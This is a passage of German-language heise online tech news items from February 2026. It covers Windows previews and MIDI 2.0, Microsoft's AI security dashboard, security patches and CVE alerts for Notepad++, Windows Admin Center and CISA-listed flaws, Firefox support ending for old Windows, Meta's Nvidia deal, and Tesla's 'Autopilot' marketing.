Die Windows-Insider-Vorschau im Release-Vorschau-Kanal bringt etwa für Unternehmenskunden die Wiederherstellungsfunktion für aus dem Microsoft-Store installierte Apps sowie für Einstellungen auf noch mehr Geräte mit Entra-Anmeldung, Cloud-PCs und Mehrbenutzerumgebungen mit. Das soll einen konsistenten Einrichtungsprozess bei Geräteaustausch, Upgrades oder Migrationsvorgängen ermöglichen. Auf PCs mit Windows-Pro-Versionen, die nicht in Domänen oder mit Enterprise-Endpoint-Managementsoftware verwaltet werden, aktiviert Microsoft nun automatisch die schnelle Systemwiederherstellung (Quick Machine Recovery, QMR).

Nützlich ist ein eingebauter Netzwerk-Speedtest, den Interessierte direkt aus der Taskleiste starten können. Der befindet sich in den WLAN- oder Mobilfunk-Schnelleinstellungen oder lässt sich mit Rechtsklick auf das Netzwerksymbol im Systemtray finden. Das startet den Standard-Webbrowser des Systems und vermisst die Netzwerkanbindung. Die Kameraeinstellungen können nun auch Pan und Tilt konfigurieren, sofern die Kamera das unterstützt.

Sysmon lässt sich nun als optionales Feature installieren, standardmäßig ist es deaktiviert. Vor rund zwei Wochen haben die Developer- und Beta-Insider-Vorschauen die Funktion integriert. Nun steht sie sehr kurz vor der allgemeinen Verfügbarkeit. Für Desktop-Hintergründe unterstützt die Windows-Vorschau nun auch Bilder im WebP-Format. Weitere kleinere Änderungen und Verbesserungen listet Microsoft in der verlinkten Ankündigung auf, darunter neue Emojis aus dem Emoji-16.0-Standard, die nun im Emoji-Panel erscheinen.

Videos by heise

Windows-Insider-Vorschau im Beta-Kanal

Auch im Insider-Beta-Kanal hat Microsoft eine neue Windows-11-Vorschauversion veröffentlicht. Sie bringt jedoch deutlich weniger Neuerungen mit. Ebenso wie die Release-Vorschau verbessert sie etwa die Stabilität beim Versenden größerer Dateien mit der „Nearby Sharing“-Funktion.

Im Datei-Explorer konnten alle geöffneten Tabs unerwartet auf den Desktop- oder Home-Ordner zurückspringen. Außerdem sollen App-Icons jetzt verlässlicher im Systemtray auftauchen, wenn die Taskleiste auf automatisches Einklappen eingestellt wurde. Wer ein Microsoft-365-Family-Abo hat, erhält auf der Konten-Seite in den Einstellungen jetzt das Angebot von Upgrades auf andere Abo-Modelle.

(dmk)

Top 7: Das beste Digitalradio mit DAB+ und ASA im Test

Top 10: Die beste Handykamera im Test

Top 10: Die beste kabellose Überwachungskamera

Microsoft startet Vorschau auf Security Dashboard for AI

2026-02-19T09:57:00+01:00

${intro} ${title}

${lead}

${intro} ${title}

${lead}

Microsoft hat die Vorschau vom Security Dashboard for AI veröffentlicht. Das liefert eine Übersicht über KI-Risiken im Unternehmen.

(Bild: Microsoft)

19.02.2026, 09:57 Uhr

Lesezeit: 2 Min.

Security

Von

Dirk Knop

Microsoft hat die öffentliche Vorschau auf das „Security Dashboard for AI“ herausgegeben. Es soll IT-Verantwortlichen eine einfache Übersicht zu Risiken der verwendeten KI-Assistenten, Apps und Plattformen liefern.

In einem Blog-Beitrag stellt Microsoft das Security Dashboard for AI vor. Das wurde bereits zur Ignite-Messe 2025 angekündigt, wo Microsoft einen KI-Schwerpunkt gesetzt hatte. Das Unternehmen will mit dem Security-Dashboard einen klaren Überblick über KI-Risiken wie Datenlecks, Schwachstellen in Modellen, Fehlkonfigurationen und „unethische Agenten-Aktionen“ für IT-Sicherheitspersonal liefern, die die gesamte KI-Umgebung, KI-Plattformen, Apps sowie Agenten umfasst.

„Das Security Dashboard for AI bietet Führungskräften einen einheitlichen Überblick über KI-Risiken, indem es Sicherheits-, Identitäts- und Datenrisiken aus Defender, Entra und Purview in einem einzigen interaktiven Dashboard zusammenfasst“, erklärt Microsoft. Der Übersichts-Tab des Dashboards liefert eine Wertungsübersicht mit Karten, die sofort ersichtlich machen, wo Risiken liegen können, die die IT-Sicherheitsteams angehen müssen. Er erfasst zudem die Implementierung der Security-for-AI-Möglichkeiten von Microsoft in der Organisation und liefert Empfehlungen zur Verbesserung der KI-Sicherheit.

KI-Inventur

Das Dashboard umfasst zudem ein KI-Inventar mit umfassenden Ansichten zum Auffinden von KI-Einsatz, Risikobewertungen und Gegenmaßnahmen mit einer breiten Abdeckung von KI-Agenten, Modellen, MCP-Servern und Apps. Das Security Dashboard for AI kann dabei mit allen von Microsofts Entra, Defender und Purview unterstützten Microsoft-KI-Lösungen umgehen, unter anderem mit Microsoft 365 Copilot, Copilot Studio-Agenten sowie Foundry-Anwendungen und -Agenten. Außerdem erkennt es KI-Modelle, -Anwendungen und -Agenten von Drittanbietern wie Google Gemini, OpenAI ChatGPT und MCP-Server.

Videos by heise

Microsoft verspricht, dass das Dashboard einen zusammenfassenden Überblick über KI-bezogene Sicherheitsrisiken bietet und KI-gestützte Erkenntnisse von Security Copilot nutzt, um die kritischsten Risiken innerhalb einer Umgebung zu identifizieren. So sollen IT-Sicherheitsteams die drängendsten Risiken schnell identifizieren und angehen können. Und natürlich können die IT-Sicherheitsbeauftragten auch mit KI-Prompts durch die entdeckten Risiken gehen und genauer analysieren.

Microsoft-Security-Kunden können direkt mit der Nutzung der Vorschauversion des Security Dashboard for AI loslegen. Es ist in der Lizenz zu Microsoft Defender, Entra und Purview enthalten.

(dmk)

Top 7: Das beste Digitalradio mit DAB+ und ASA im Test

Top 10: Die beste Handykamera im Test

Top 10: Die beste kabellose Überwachungskamera

Notepad++: Sicherheitsupdate gegen Codeschmuggel-Lücke

2026-02-19T08:08:00+01:00

${intro} ${title}

${lead}

${intro} ${title}

${lead}

Alert!

Notepad++ verbessert Sicherheitsmechanismen und stopft eine neue Lücke, die Angreifern das Ausführen von Schadcode erlaubt.

(Bild: heise medien)

08:08 Uhr

Lesezeit: 2 Min.

Security

Von

Dirk Knop

Notepad++ ist in Version 8.9.2 erschienen. Die neue Fassung verbessert Sicherheitsmechanismen und schließt eine hochriskante Sicherheitslücke, durch die Angreifer beliebigen Code ausführen können.

In der Versionsankündigung von Notepad++ 8.9.2 schreibt der Entwickler Don Ho, dass er die Sicherheit verbessert und eine weitere Sicherheitslücke darin geschlossen habe. Zu den Verbesserungen zählt etwa, dass der Updater jetzt die Integrität und Authentizität des vom Server zurückgelieferten XML überprüft; dazu setzt er auf XMLDSig, also kryptografische Signaturen. Der automatische Updater WinGUp entfernt zwei curl-Optionen, integriert die curl-Bibliothek statisch, anstatt sie dynamisch (und damit unter Umständen anfällig) zu laden, und startet nur noch signierte Programme. Auch das trägt zur Härtung der Sicherheit bei.

Außerdem schließt Notepad++ 8.9.2 eine Sicherheitslücke, die auftreten kann, wenn der Windows-Explorer ohne absoluten Pfad zur ausführbaren Datei gestartet wird. Dadurch könnte eine manipulierte „explorer.exe“ gestartet werden, sofern Angreifer auf das Arbeitsverzeichnis des Prozesses zugreifen können. Das würde zur Ausführung beliebigen Codes im Kontext der laufenden Anwendung führen (CVE-2026-25926, CVSS 7.3, Risiko „hoch“).

Update schließt Lücken und behebt Fehler

Neben diesen sicherheitsrelevanten Korrekturen bringt die neue Version auch weitere Fehlerbehebungen mit. So stürzt etwa die Plug-in-Installation in einigen Situationen nicht mehr ab. Im Kontextmenü gab es eine Regression, durch die Lokalisationskürzel nicht rechtsbündig ausgerichtet waren. Und neu dabei ist eine Funktion „Auswahl redigieren“.

Videos by heise

Notepad++-Nutzer und -Nutzerinnen sowie IT-Verantwortliche sollten die bereitstehende Aktualisierung zügig installieren. In der Versionsankündigung stehen auch Downloads für unterschiedliche Plattformen sowie die Quelltexte bereit.

Die Sicherheitslücke im Notepad++-Updater wurde im Dezember vergangenen Jahres bekannt. Untersuchungsergebnisse vom Anfang Februar zeigen, dass die Angreifer, die darüber gezielt Malware verteilt hatten, offenbar staatliche Akteure waren.

(dmk)

Top 10: Balkonkraftwerk mit Speicher im Test

Top 10: Die beste Gaming-Maus im Test

Top 10: Das beste Mittelklasse-Smartphone

Windows: MIDI 2.0 ist angekommen

2026-02-18T12:24:00+01:00

${intro} ${title}

${lead}

${intro} ${title}

${lead}

Die Februar-Updates für Windows 11 haben die Unterstützung von MIDI 2.0 an Bord. Die Aktivierung erfolgt schrittweise.

(Bild: heise medien)

18.02.2026, 12:24 Uhr

Lesezeit: 7 Min.

Von

Dirk Knop

Bereits die Update-Vorschau Ende Januar für Windows 11 24H2 und 25H2 brachte die Unterstützung für MIDI 2.0 mit. Sie hat es auch in die endgültigen Windows-Updates zum Februar-Patchday von Microsoft geschafft.

Die MIDI-2.0-Funktionen schaltet Microsoft jedoch erst nach und nach frei, will den Prozess allerdings Ende Februar abgeschlossen haben. Ungeduldige können jedoch – auf eigene Gefahr und ohne Gewähr! – selbst Hand anlegen und die Aktivierung mit dem „ViVeTool“ erzwingen. Die aktuellen ViVeTool-Releases finden sich auf GitHub. Der Aufruf von vivetool /enable /id:58988972 schaltet die bislang zurückgehaltenen Funktionen des Februar-Patches einschließlich des MIDI-2.0-Supports frei; ein Rechner-Neustart ist im Anschluss noch nötig.

„midicheckservice.exe“ prüft, ob der Support für MIDI 2.0 in Windows aktiviert ist.

(Bild: heise medien)

Im Entwickler-Projekt von Microsoft zu MIDI 2.0 für Windows auf GitHub stellen die Programmierer das Tool „midicheckservice.exe“ jeweils für Intel- und AMD-x64-Prozessoren und für Qualcomm/Arm-64-Bit-Prozessoren bereit, mit dem sich der Aktivierungsstatus des MIDI-2.0-Supports überprüfen lässt.

MIDI 2.0 allgemein verfügbar

In einem Blog-Beitrag kündigt Microsoft nun die allgemeine Verfügbarkeit der Windows MIDI Services mit Unterstützung für MIDI 2.0 und MIDI 1.0 unter Windows 11 an. Offiziell gilt der Support ausschließlich für Windows 11 24H2 und 25H2, die für neuere Qualcomm-Arm-Prozessoren spezialisierte Fassung Windows 11 26H1 dürfte jedoch ebenfalls damit ausgestattet werden.

Die MIDI-1.0-Spezifikation stammt ursprünglich aus dem Jahr 1983, die MIDI-2.0-Spezifikation startete hingegen 2020, wobei signifikante Updates der Specs in 2022 und 2023 vorgenommen wurden, erklärt Microsoft. Die Autoren schreiben weiter: „MIDI 2.0 bietet von Haus aus bidirektionale Kommunikation, automatische Geräteerkennung und Protokolleinrichtung, unbegrenzte Geschwindigkeiten, hochauflösende Controller (keine Beschränkung auf Werte von 0-127 oder Multi-Message-Workarounds für größere Werte), Artikulation je Note, selbstbeschreibende Geräte und eine Entkopplung des Protokolls vom Transportweg, was die Einführung neuer Transportwege wie Network MIDI 2.0 erleichtert, sobald diese verfügbar sind.“

Gleichzeitiger Zugriff mit mehreren Apps

„Wir haben in den vergangenen Jahren an MIDI gearbeitet und dabei jahrzehntealten MIDI-1.0-Code komplett neu geschrieben, sodass er MIDI 2.0 unterstützt und MIDI 1.0 ‚aufregender‘ macht. Dieser kombinierte MIDI-Stack heißt ‚Windows MIDI Services’“, erklären die Autoren. Besonders heben sie etwa hervor, dass sich damit MIDI-Geräte in Windows von mehreren Apps zugleich nutzen lassen; das Feature nennt sich „Multi-Client“. Jeder MIDI-1.0-Port und MIDI-2.0-Endpunkt lässt sich unabhängig von dem eingesetzten Treiber oder API so nutzen. In den meisten Fällen sind nun herstellerspezifische MIDI-Treiber weder nötig noch empfohlen, ergänzt Microsoft.

Die MIDI-Endpunkte lassen sich zudem weitergehend anpassen. Kompatibel zum Status Quo ist die klassische Namensvergabe in der API, was die gespeicherten Namen in den DAWs (Digital Audio Workstations) und Musikdateien ohne Neueinrichtung von Ports nutzbar lässt. Nun sind auch Namen nach neuen Schemata möglich, bei denen Nutzer MIDI-Ports in den Geräten oder mittels Software entsprechend konfigurieren können. Als dritte Option gibt es vollständig benutzerdefinierte Namen für MIDI-1.0-Ports und MIDI-2.0-Endpunkte. Letztere können zudem zusätzliche Metadaten verwenden, wie Bilder und Beschreibungen. Apps, die die mit Windows 10 eingeführte WinRT MIDI 1.0-API nutzen, erhalten über die API Gerätenamen zurück, die Namen für die klassische „WinMM“- oder „MME“-MIDI-API widerspiegeln. Das sei ebenfalls eine häufig gestellte Anfrage seit Einführung dieser API gewesen.

App-zu-App-Verbindungen

Die Windows-MIDI-Services bringen außerdem sogenannten Loopback-Support mit. Dadurch können Apps miteinander kommunizieren – unabhängig davon, auf welcher API oder welchem SDK sie aufsetzen. „Sogar WebMIDI-Seiten im Browser können mit den Loopback-Endpoints ohne zusätzliche Treiber oder Software-Installation zusammenarbeiten“, schreibt Microsoft. Beim ersten Durchlauf der „MIDI and Musician Settings“-App werden Nutzerinnen und Nutzer gebeten, ihr MIDI-Setup zu vervollständigen, und können dabei optional einen Satz von Standard-Loopback-Endpunkten hinzufügen. Microsoft will das zudem erweitert haben, sodass eine App ein vollständiges MIDI-2.0-Gerät darstellen kann. Mit dem kommenden Windows-MIDI-Services-Tool sollen Interessierte zudem eigene Loopback-Endpunkte in der MIDI-Einstellungsanwendung anlegen können.

Automatische Übersetzung soll jedes Gerät mit jeder App nutzbar machen, ganz gleich, ob diese nativ MIDI 1.0 oder 2.0 sprechen. Apps, die auf das neuere SDK setzen, können natürlich dann die höher aufgelösten Daten, neue Nachrichtentypen, ein- und ausgehende Zeitstempel und weitere MIDI-2.0-Features einsetzen. MIDI-1.0-basierte Apps sehen die herunterskalierten Werte. Das Ganze erfolgt vollständig transparent für Nutzer. Zeitstempel ermöglichen nun Mikrosekunden-Auflösung – Lag und Jitter stellen bislang für viele Musiker schon ein Problem dar, insbesondere, wenn sie über einstellige Millisekunden hinausgehen. Ausgehende Nachrichten lassen sich mit Zeitstempel auch vorausplanen und zeitgesteuert absenden. Die Entwickler wollen noch weiter daran arbeiten.

Videos by heise

Neuer USB-Klassentreiber

Der bisherige „usbaudio.sys“-Treiber bleibt erhalten. Darin haben die Entwickler jedoch einige kleine Fehler ausgebessert. Zudem liefert Microsoft nun den USB-MIDI-2.0-Klassentreiber „usbmidi2.sys“ mit, der von AmeNote entwickelt und von AMEI (Association of Musical Electronics Industry) bereitgestellt wird. Microsoft hat die Entwicklung davon unterstützt. Er beherrscht Stromsparmodi, stellt einen schnellen Kommunikationskanal zu den neuen MIDI-Services bereit und unterstützt MIDI-1.0- und MIDI-2.0-Geräte gleichermaßen. Standardmäßig nutzen die meisten MIDI-1.0-Geräte zur Sicherung der Kompatibilität weiterhin den älteren Treiber, können jedoch manuell den neuen Treiber zugewiesen bekommen.

In den kommenden Monaten wollen die Entwickler aktualisierte MIDI-App-SDK-Laufzeitbibliotheken und Tools-Pakete bereitstellen. Die umfassen etwa die MIDI-Konsole, die MIDI-Einstellungs-App oder PowerShell-Anbindung zum Skripten von MIDI. Damit lassen sich etwa Loopback-Endpunkte einfach anlegen oder die MIDI-Endpunkt- und -Port-Namen anpassen. Die Vorschau können „Mutige“ etwa bereits jetzt mittels winget installieren. Der Aufruf von winget install Microsoft.WindowsMIDIServicesSDK installiert den aktuellen Stand der zusätzlichen Software.

Auf der Roadmap haben die Entwickler noch weitere spannende Funktionen. So soll ein Low-Latency-USB-Audiotreiber mit ASIO-Support noch in diesem Jahr zumindest als Vorschauversion erscheinen – und vollständig quelloffen sein. Neue Transportwege für MIDI 1.0 und 2.0 wie MIDI über Bluetooth (BLE MIDI 1.0 und 2.0) oder Netzwerk-MIDI 2.0 sowie ein virtuelles Patchpanel für erweitertes MIDI-Routing kündigen sie ebenfalls an.

(dmk)

Top 10: Balkonkraftwerk mit Speicher im Test

Top 10: Die beste Gaming-Maus im Test

Top 10: Das beste Mittelklasse-Smartphone

Mozilla kappt Firefox-Support für Windows 7, 8 und 8.1 endgültig

2026-02-18T10:24:00+01:00

${intro} ${title}

${lead}

${intro} ${title}

${lead}

Mozilla wollte den Support für Firefox unter Windows 7, 8 und 8.1 bereits 2024 kappen. Der erweiterte Support endet nun im Februar.

(Bild: David Tran Photo/Shutterstock.com)

18.02.2026, 10:24 Uhr

Lesezeit: 2 Min.

Security

Von

Dirk Knop

Firefox 115 hat noch Windows 7, 8 und 8.1 unterstützt. Nachdem Nutzer und Nutzerinnen mit diesen Betriebssystemen auf die Version Firefox ESR 115 gelenkt wurden, erfährt nun auch diese ihr Support-Ende. Damit endet nun auch im Februar die Unterstützung für die veralteten Betriebssysteme.

Das erklären die Mozilla-Entwickler in einem aktuellen Support-Beitrag. „Microsoft hat die offizielle Unterstützung für Windows 7, 8 und 8.1 im Januar 2023 beendet. Nicht unterstützte Betriebssysteme erhalten keine Sicherheitsupdates und enthalten bekannte Schwachstellen. Ohne offizielle Unterstützung von Microsoft wird die Wartung von Firefox für veraltete Betriebssysteme kostspielig und riskant für Nutzerinnen und Nutzer“, führen sie dort aus.

Noch sicheres Surfen in veraltetem Windows möglich?

Die Frage, ob Firefox noch sicheres Surfen unter den genannten Windows-Versionen ermöglicht, schreiben die Programmierer sehr klar: „Mozilla stellt bis zum Ende der ESR-Version 115 im Februar 2026 wichtige Sicherheitsupdates über den Firefox-ESR-Kanal bereit. Danach kommen keine weiteren Sicherheitsupdates mehr, und es empfiehlt sich dringend, auf eine noch unterstützte Microsoft Windows-Version zu aktualisieren.“ Sie geben aber auch den Tipp, gegebenenfalls alternative Betriebssysteme in Betracht zu ziehen: „Wenn Ihre aktuelle Hardware aus irgendeinem Grund Windows 10 oder höher nicht unterstützt, können Sie auf ein Linux-basiertes Betriebssystem umsteigen. Die überwiegende Mehrheit der Linux-Distributionen wird mit Firefox als Standardbrowser ausgeliefert.“

Der Wechsel auf einen anderen Webbrowser sei auch keine Option, da etwa Google Chrome den Support für Windows 7, 8 und 8.1 bereits eingestellt hat. Selbiges gelte für Microsoft Edge.

Videos by heise

Dass Firefox die Unterstützung für die alten Windows-Versionen einstellt, war schon länger klar. Ursprüngliche Planungen sahen sogar den September 2024 als Schlusspunkt dafür vor – da sollten auch die alten macOS-Versionen 10.12, 10.13 und 10.14 aus dem Support fallen. Dort kündigte die Mozilla-Foundation auch an, dass betroffene Firefox-Installationen automatisch auf den Firefox-ESR-115-Zweig umgestellt werden.

(dmk)

Top 10: Balkonkraftwerk mit Speicher im Test

Top 10: Die beste Gaming-Maus im Test

Top 10: Das beste Mittelklasse-Smartphone

Microsoft: Warnung vor kritischer Sicherheitslücke in Windows Admin Center

2026-02-18T09:19:00+01:00

${intro} ${title}

${lead}

${intro} ${title}

${lead}

Alert!

Im Windows Admin Center können Angreifer ihre Rechte ausweiten. Microsoft stuft das als kritisch ein und rät Admins zum Aktualisieren.

(Bild: Microsoft / heise medien)

18.02.2026, 09:19 Uhr

Lesezeit: 2 Min.

Security

Von

Dirk Knop

Microsoft warnt vor einer Sicherheitslücke im Windows Admin Center. Angreifer können dadurch ihre Rechte ausweiten. IT-Verantwortliche müssen zum Schließen der Lücke aktiv werden und ein Software-Update installieren.

Die Schwachstellenbeschreibung mit der Bezeichnung CVE-2026-26119 hat Microsoft in der Nacht zum Mittwoch veröffentlicht. Es handelt sich um eine unzureichende Authentifizierung (CWE-287), schreibt Microsoft lediglich. Zu den Auswirkungen bei einem erfolgreichen Missbrauch führen die Entwickler noch aus: „Angreifende würden die Rechte der Benutzenden erlangen, die die betroffene Anwendung ausführen.“ (CVE-2026-26119, CVSS 8.8, Risiko „hoch“). Abweichend von der Risikoeinstufung gemäß CVSS3-Wert schätzen die Redmonder das Risiko jedoch sogar als „kritisch“ ein.

Zwar wurden die Details zur Schwachstelle bislang nicht veröffentlicht und Microsoft weiß auch noch von keinem verfügbaren Exploit. Jedoch schätzt das Unternehmen, dass Angreifer in absehbarer Zeit die Sicherheitslücke mit höherer Wahrscheinlichkeit ausnutzen werden.

Windows Admin Center: Update verfügbar

Für das Windows Admin Center steht die Software-Version 2511 bereit. Die ist bereits im Dezember vergangenen Jahres erschienen und korrigiert das nun gemeldete Sicherheitsproblem. Vor einer Woche haben Microsofts Entwickler jedoch noch ein Verteilungsskript sowie die zugehörige Dokumentation aktualisiert. Wer die Softwareaktualisierung bereits installiert hat, muss nicht erneut handeln; wer noch ältere Fassungen einsetzt, sollte zügig auf den neuen Stand wechseln.

Videos by heise

Das Windows Admin Center ist eine kostenlose Zusatzsoftware, die zur Verwaltung von Windows-Geräten ab Windows 10 und Windows Server 2012 in Netzwerken mit einer webbasierten Bedienoberfläche dient. Sie stellt übersichtlich Informationen zu Server-Performance, Voraussagen für benötigte Kapazitäten sowie Funktionen zur Verwaltung von Windows-Systemen und zur Lösung von auftretenden Problemen etwa mittels Fernwartung bereit. Sie fußt technisch auf der Microsoft Management Console (MMC).

(dmk)

Top 10: Balkonkraftwerk mit Speicher im Test

Top 10: Die beste Gaming-Maus im Test

Top 10: Das beste Mittelklasse-Smartphone

Angriffe auf Chrome, Zimbra, ThreatSonar und ActiveX-Modul beobachtet

2026-02-18T08:40:00+01:00

${intro} ${title}

${lead}

${intro} ${title}

${lead}

Alert!

Die US-amerikanische IT-Sicherheitsbehörde warnt vor beobachteten Angriffen auf Chrome, Zimbra, ThreatSonar und ein ActiveX-Modul.

(Bild: janews/Shutterstock.com)

18.02.2026, 08:40 Uhr

Lesezeit: 2 Min.

Security

Von

Dirk Knop

Trotz Notbetrieb hat die US-amerikanische IT-Sicherheitsbehörde CISA eine Warnung vor laufenden Angriffen auf Sicherheitslücken in Chrome, Zimbra, ThreatSonar und einem ActiveX-Modul herausgegeben. Eine der Schwachstellen ist bereits volljährig: Sie wurde vor 18 Jahren entdeckt.

Der derzeitige Shutdown der US-Behörde scheint jedoch bereits Verzögerungen zu verursachen, vor denen der CISA-Direktor Gottumukkala jüngst in einer Anhörung vor dem US-Repräsentantenhaus warnte. Erst in der Nacht zum Mittwoch kam nun etwa der Hinweis der CISA auf den Missbrauch der Chrome-Schwachstelle in der CSS-Verarbeitung, für die Google in der Nacht zum Samstag bereits ein Notfall-Update bereitgestellt hat (CVE-2026-2441, CVSS 8.8, Risiko „hoch“).

Weitere angegriffene Software

Außerdem haben die IT-Sicherheitsexperten offenbar Belege für Attacken auf eine Sicherheitslücke in der ThreatSonar Anti-Ransomware. Aufgrund unzureichender Prüfung von hochgeladenen Dateien können User mit Admin-Rechten auf der Plattform bösartige Dateien hochladen, die sie zum Ausführen beliebiger Systembefehle auf dem Server nutzen können (CVE-2024-7694, CVSS 7.2, Risiko „hoch“). Unter Beschuss ist auch eine ältere Lücke in der Groupware Zimbra. Es handelt sich um eine Server-Side Request Forgery (SSRF) bei installiertem WebEx-Zimlet und aktivem JSP-Zimlet. Derartige SSRF-Lecks erlauben in der Regel durch Umleitungen Zugriffe auf eigentlich abgeschottete Ressourcen (CVE-2020-7796, CVSS 9.8, Risiko „kritisch“).

Videos by heise

Der Oldie unter den aktuell angegriffenen Schwachstellen ist jedoch ein unerwarteter Wiedergänger: eine Sicherheitslücke in Microsofts Video ActiveX Control. Die war zum damaligen Zeitpunkt in Windows 2000 SP4, XP SP2 und SP3, Vista Gold, SP1 und SP2, Server 2003 SP2 sowie Server 2008 Gold und SP2 enthalten und ermöglichte Angreifern aus dem Netz, mit manipulierten Webseiten Schadcode einzuschleusen (CVE-2008-0015, CVSS [2.0] 9.3, Risiko „hoch“).

IT-Verantwortliche sollten prüfen, ob sie die verwundbare Software einsetzen und sie auf den aktuellen Stand bringen.

(dmk)

Top 10: Balkonkraftwerk mit Speicher im Test

Top 10: Die beste Gaming-Maus im Test

Top 10: Das beste Mittelklasse-Smartphone

Meta bestellt für dutzende Milliarden US-Dollar Chips bei Nvidia

2026-02-18T08:04:00+01:00

${intro} ${title}

${lead}

${intro} ${title}

${lead}

Nvidia und Meta haben eine Partnerschaft vereinbart, der Facebook-Konzern bekommt GPUs und CPUs verschiedener Generationen für dutzende Milliarden US-Dollar.

(Bild: Konstantin Savusia/Shutterstock.com)

18.02.2026, 08:04 Uhr

Lesezeit: 2 Min.

Von

Martin Holland

Meta wird in den kommenden Jahren womöglich dutzende Milliarden US-Dollar für Chips von Nvidia ausgeben. Einen entsprechenden Vertrag haben die beiden US-Konzerne jetzt abgeschlossen, kündigten sie gemeinsam an. Beide sprechen von einer „langfristigen Partnerschaft“.

Noch im November hatten Berichte über milliardenschwere Investitionspläne von Meta in KI-Chips von Google die Nvidia-Aktie vorübergehend absacken lassen, bislang gibt es dazu aber keine weiteren Einzelheiten. Laut Nvidia wird Meta „Millionen“ Halbleiter der aktuellen Blackwell- und der kommenden Rubin-Architektur kaufen. Der Gesamtwert des Vertrags wurde nicht öffentlich gemacht, laut Reuters könnten es aber 50 Milliarden US-Dollar sein.

Bekanntmachung kurz vor Vorstellung der Geschäftszahlen

Niemand baue KI-Infrastruktur in einem Umfang auf wie Meta, behauptet der US-Konzern jetzt. Für die eigenen Rechenzentren hat er deshalb jetzt auch in großem Umfang CPUs von Nvidia sowie Ethernet-Switches geordert. Gleichzeitig soll Nvidias Technik dafür sorgen, dass die Leistungsfähigkeit pro Watt deutlich gesteigert wird. Der Stromverbrauch der riesigen Rechenzentren wird in den USA zu einem immer größeren Thema, in den ersten Bundesstaaten gibt es Pläne, die Bautätigkeit einzudämmen. Meta-Chef Mark Zuckerberg verspricht jetzt noch, dass man mit der bestellten Nvidia-Technik „jedem Menschen auf der Welt persönliche Superintelligenz“ liefern werde.

Videos by heise

Mit der Bekanntmachung eine Woche vor der Vorstellung der Geschäftszahlen macht Nvidia jetzt deutlich, dass das Geschäft weiter läuft. Ende November hatte ein Bericht über angebliche Verhandlungen zwischen Meta und Google für Aufsehen gesorgt. Darin hieß es, dass der Facebook-Konzern Milliarden für Googles TPU-Chips ausgeben und in den hauseigenen Rechenzentren einsetzen könnte. Die kommen bislang nur bei Google selbst zum Einsatz, können aber gemietet werden. Mit dem Verkauf an Rechenzentrumsbetreiber wie Meta wäre Google in direkte Konkurrenz zu Nvidia getreten. Noch hat sich das aber nicht bestätigt und Nvidia will dieses Geschäft offensichtlich nicht so einfach abtreten.

(mho)

Top 10: Balkonkraftwerk mit Speicher im Test

Top 10: Die beste Gaming-Maus im Test

Top 10: Das beste Mittelklasse-Smartphone

Tesla verzichtet nach Drohung auf Werbung für „Autopilot“ in Kalifornien

2026-02-18T06:52:00+01:00

${intro} ${title}

${lead}

${intro} ${title}

${lead}

Nachdem Tesla im wichtigsten US-Markt ein einmonatiger Verkaufsstopp angedroht worden war, hat der Konzern eingelenkt und wirbt nicht mehr für den „Autopilot“.

(Bild: BoJack/Shutterstock.com)

18.02.2026, 06:52 Uhr

Lesezeit: 2 Min.

Von

Martin Holland

Nach der Androhung eines einmonatigen Verkaufsstopps in Kalifornien hat Tesla eingelenkt und zugesagt, den Begriff „Autopilot“ nicht mehr in der Werbung für das eigene Fahrassistenzsystem im größten US-Bundesstaat zu verwenden. Das hat die dortige Verkehrsbehörde jetzt bekannt gegeben und ergänzt, dass der Streit um die Bezeichnung „Full Self-Driving“ (FSD, zu Deutsch: komplett selbstfahrend) bereits beigelegt war. Weil der fälschlicherweise suggeriert, dass ein Tesla damit zu einem selbstfahrenden Fahrzeug wird, nennt Tesla die Funktion inzwischen „FSD supervised“ (beaufsichtigt). Mit dem Verzicht auf den Begriff „Autopilot“ wendet Tesla nun eine 30-tägige Verkaufssperre ab, nachdem Kaliforniens Department of Motor Vehicles (DMV) im Dezember ein Ultimatum gestellt hatte.

Erfolgreiche Drohung

Beim DMV ist man „erfreut, dass Tesla die erforderlichen Maßnahmen ergriffen hat, um die Verbraucherschutzbestimmungen des Bundesstaates Kalifornien weiterhin einzuhalten“, erklärt deren Chef Steve Gordon. Wenn Unternehmen falsche Behauptungen über die Fähigkeiten ihrer Fahrzeuge verbreiten, würden sie Menschenleben gefährden, ergänzt seine Behörde. Deshalb würden sie dafür zur Verantwortung gezogen. Im Dezember hatte dort ein Gericht festgestellt, dass bei Tesla genau das geschehe, weswegen ein 30-tägiger Verkaufsstopp und sogar eine Aussetzung der Herstellerlizenz angedroht werden sollte. Letzteres hatte das DMV auf Eis gelegt und Tesla dann eine 60-tägige Frist gesetzt. Das hat gereicht, um den Konzern von Elon Musk zum Einlenken zu bewegen.

Videos by heise

Die Debatte um den Namen und die Vermarktung des „Autopilot“-Systems und vor allem der Ausbaustufe „Full Self-Driving“ läuft schon seit Jahren. Denn anders als die Namen nahelegen, müssen Fahrerinnen und Fahrer jederzeit bereit sein, die Kontrolle zu übernehmen und tragen durchgehend die Verantwortung. Damit ist FSD faktisch nur ein Assistenzsystem. Trotz Warnungen im Handbuch verließen sich viele Personen am Steuer nach Erkenntnissen der Unfallermittlungsbehörde NTSB übermäßig auf die „Autopilot“-Software. Kaliforniens DMV hat im November 2023 begonnen, gegen die irreführende Werbung vorzugehen. Für den Elektroautokonzern ist Kalifornien mit Abstand der wichtigste Markt in den USA, laut Reuters hat er dort Anfang 2025 ein Drittel seiner Verkäufe in den USA erzielt.

Lesen Sie auch

Tesla gibt KI-Chatbot Grok für Fahrzeuge in Europa frei

Top 10: Balkonkraftwerk mit Speicher im Test

Top 10: Die beste Gaming-Maus im Test

Top 10: Das beste Mittelklasse-Smartphone

Plasma 6.6 bringt einfachere Bedienung und nützliche Funktionen

2026-02-17T14:22:00+01:00

${intro} ${title}

${lead}

${intro} ${title}

${lead}

Die KDE-Entwickler haben Plasma 6.6 veröffentlicht. Es soll einfachere Bedienung bieten, ohne an Flexibilität einzubüßen.

(Bild: heise medien)

17.02.2026, 14:22 Uhr

Lesezeit: 3 Min.

Von

Dirk Knop

Die KDE-Programmierer haben Plasma 6.6 freigegeben. Die Desktopumgebung soll insbesondere eine vereinfachte Benutzung ermöglichen, aber weiterhin so flexibel bleiben wie bisher.

In der Versionsankündigung zu Plasma 6.6 frotzeln die KDE-Entwickler, dass die neue Version das „Leben so einfach wie möglich macht, ohne die Flexibilität oder Funktionen zu opfern, die Plasma zum vielseitigsten Desktop des bekannten Universums gemacht haben“. Sie haben demnach Verbesserungen an der Benutzerfreundlichkeit und Barrierefreiheit von Plasma vorgenommen und praktische Funktionen ergänzt.

Plasma 6.6 mit neuen Funktionen

